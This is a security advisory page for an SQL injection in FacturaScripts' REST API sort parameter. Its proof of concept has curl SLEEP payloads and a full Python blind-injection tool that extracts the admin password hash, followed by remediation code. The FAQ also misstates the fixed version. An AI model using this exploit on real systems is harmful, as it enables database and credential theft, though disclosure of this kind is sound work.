CVE-2026-25513: FacturaScripts has SQL Injection vulnerability in API ORDER BY Clause

Published Feb 3, 2026
·
Updated

Summary FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.

---

Details

The FacturaScripts REST API exposes database models through various endpoints (e.g., /api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.

Vulnerable Code Locations

1. Legacy Models: File: /Core/Model/Base/ModelClass.php Method: getOrderBy() Direct concatenation of keys and values from the $order array.

2. Modern Models (DbQuery): File: /Core/DbQuery.php Method: orderBy() Lines: 255-259 php // If it contains parentheses, it is not escaped (VULNERABILITY!) if (strpos($field, '(') !== false && strpos($field, ')') !== false) { $this->orderBy[] = $field . ' ' . $order; return $this; } This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.

---

Proof of Concept (PoC)

Prerequisites - Valid API authentication token (X-Auth-Token header) - Access to FacturaScripts API endpoints

Step-by-Step Verification (CLI)

Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.

1. Login and Retrieve a valid API key: We handle the CSRF token and session cookies to access the settings and retrieve the first available key. bash Login TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1) curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

Find the ID of the first existing API key APIID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

Extract the API key string using its ID APIKEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$APIID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1) echo "Using API Key: $APIKEY"

2. Verify Time-Based SQL Injection: Use the extracted APIKEY in the X-Auth-Token header. bash Normal request (baseline) time curl -g -s -H "X-Auth-Token: $APIKEY" "http://localhost:8091/api/3/users?limit=1"

Injected request (SLEEP payload in the sort key) time curl -g -s -H "X-Auth-Token: $APIKEY" \ "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.

---

Automated Exploitation Tool

This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.

python import requests import time import string import re

Configuration BASEURL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin" APIENDPOINT = "/api/3/users"

session = requests.Session()

def gettoken(url): """Extract multireqtoken from any page""" res = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text) return match.group(1) if match else None

def getapikey(): """Logs in and retrieves the first active API key dynamically""" print(f"[] Logging in as {USERNAME}...") # 1. Login flow token = gettoken(f"{BASEURL}/login") if not token: print("[!] Failed to get initial CSRF token") return None logindata = { "fsNick": USERNAME, "fsPassword": PASSWORD, "action": "login", "multireqtoken": token } res = session.post(f"{BASEURL}/login", data=logindata) if "Dashboard" not in res.text: print("[!] Login failed!") return None print("[+] Login successful.")

# 2. Retrieve API Key ID from settings print("[] Accessing API settings...") res = session.get(f"{BASEURL}/EditSettings?activetab=ListApiKey") idmatch = re.search(r'EditApiKey\?code=(\d+)', res.text) if not idmatch: print("[!] No API keys found in system!") return None apiid = idmatch.group(1) # 3. Get the actual API key string print(f"[] Retrieving API key for ID {apiid}...") res = session.get(f"{BASEURL}/EditApiKey?code={apiid}") keymatch = re.search(r'name="apikey" value="([^"]+)"', res.text) if not keymatch: print("[!] Failed to extract API key from page!") return None return keymatch.group(1)

def timebasedsqli(apikey, payload): """Execute time-based SQL injection and measure response time""" headers = {"X-Auth-Token": apikey} params = { 'limit': 1, f'sort[{payload}]': 'ASC' } start = time.time() try: requests.get(f"{BASEURL}{APIENDPOINT}", headers=headers, params=params, timeout=10) except requests.exceptions.ReadTimeout: return 10.0 except: pass return time.time() - start

def extractdata(apikey, query, length=60): """Extracts data char by char using time-based blind SQLi""" extracted = "" charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./" print(f"[] Starting extraction for query: {query}") for i in range(1, length + 1): found = False for char in charset: # Added BINARY to force case-sensitive comparison payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))" elapsed = timebasedsqli(apikey, payload) if elapsed >= 2.0: extracted += char print(f"[+] Found char at pos {i}: {char} -> {extracted}") found = True break if not found: break return extracted

def main(): print("="60) print(" FacturaScripts Dynamic SQLi Exfiltration Tool") print("="60)

# 1. Get API Key dynamically apikey = getapikey() if not apikey: return print(f"[+] Using API Key: {apikey}")

# 2. Verify vulnerability print("[] Verifying vulnerability...") if timebasedsqli(apikey, "(SELECT SLEEP(2))") >= 2.0: print("[+] System is VULNERABLE!") else: print("[-] System not vulnerable or API key invalid.") return

# 3. Extract Admin Password Hash adminhash = extractdata(apikey, "SELECT password FROM users WHERE nick='admin'") print(f"\n[!] FINAL ADMIN HASH: {adminhash}")

if name == "main": main() <img width="862" height="1221" alt="image" src="https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273" />

---

Impact

Data Confidentiality - Complete database disclosure through blind SQL Injection techniques - Extraction of sensitive data including: - User credentials and API keys - Customer PII (personal identifiable information) - Financial records and transaction data - Business intelligence and pricing information - System configuration and secrets

Who is Impacted? - Organizations using FacturaScripts API for integrations - Mobile apps and third-party integrations using the API - All users whose data is accessible via API - Business partners with API access

---

Recommended Fix

Immediate Remediation

Option 1: Implement Strict Whitelist Validation (Recommended)

php // File: Core/Model/Base/ModelClass.php // Method: getOrderBy()

private static function getOrderBy(array $order): string { $result = ''; $coma = ' ORDER BY ';

// Get valid column names from model $validColumns = arraykeys(static::getModelFields());

foreach ($order as $key => $value) { // Validate column name against whitelist if (!inarray($key, $validColumns, true)) { throw new \Exception('Invalid column name for sorting: ' . $key); }

// Validate sort direction (must be ASC or DESC) $value = strtoupper(trim($value)); if (!inarray($value, ['ASC', 'DESC'], true)) { throw new \Exception('Invalid sort direction: ' . $value); }

// Escape column name $safeColumn = self::$dataBase->escapeColumn($key); $result .= $coma . $safeColumn . ' ' . $value; $coma = ', '; }

return $result; }

Option 2: Use Database Escaping Functions

php private static function getOrderBy(array $order): string { $result = ''; $coma = ' ORDER BY ';

foreach ($order as $key => $value) { // Escape identifiers and validate direction $safeColumn = self::$dataBase->escapeColumn($key); $safeDirection = inarray(strtoupper($value), ['ASC', 'DESC']) ? strtoupper($value) : 'ASC';

$result .= $coma . $safeColumn . ' ' . $safeDirection; $coma = ', '; }

return $result; }

Option 3: Use Query Builder Pattern

php // Refactor to use prepared statements public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array { $query = self::table();

// Apply WHERE conditions foreach ($where as $condition) { $query->where($condition); }

// Apply ORDER BY with validation foreach ($order as $column => $direction) { if (!arraykeyexists($column, static::getModelFields())) { continue; // Skip invalid columns } $query->orderBy($column, $direction); }

return $query->offset($offset)->limit($limit)->get(); }

API Security Best Practices

php // Add to API configuration $config = [ 'maxsortfields' => 3, // Limit number of sort fields 'allowedsortfields' => ['id', 'date', 'name'], // Whitelist 'defaultsort' => 'id ASC', // Safe default ];

---

Credits

Discovered by: Łukasz Rybak

Other sources

FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality. This issue has been patched in version 2025.81.

— MITRE

Affected Software

2 affected componentsFixes available
composer/facturascripts/facturascripts<2025.81
2025.81
facturascripts facturascripts<2025.81

Event History

Feb 3, 2026
Advisory Published
via GitHub·06:14 PM
Data Sourced
via GitHub·06:14 PM
DescriptionWeaknessAffected Software
Feb 4, 2026
CVE Published
via MITRE·07:59 PM
Data Sourced
via MITRE·07:59 PM
DescriptionWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
RemedyAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-25513?

CVE-2026-25513 is classified as a critical vulnerability due to its ability to allow SQL injection through the REST API.

2

How do I fix CVE-2026-25513?

To fix CVE-2026-25513, upgrade to a version of FacturaScripts greater than 2025.81 where the vulnerability is patched.

3

Who is affected by CVE-2026-25513?

CVE-2026-25513 affects authenticated API users of FacturaScripts versions up to 2025.81.

4

What type of vulnerability is CVE-2026-25513?

CVE-2026-25513 is an SQL Injection vulnerability that allows arbitrary SQL execution through user-supplied parameters.

5

What are the potential impacts of exploiting CVE-2026-25513?

Exploiting CVE-2026-25513 could allow attackers to manipulate databases and retrieve sensitive information.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203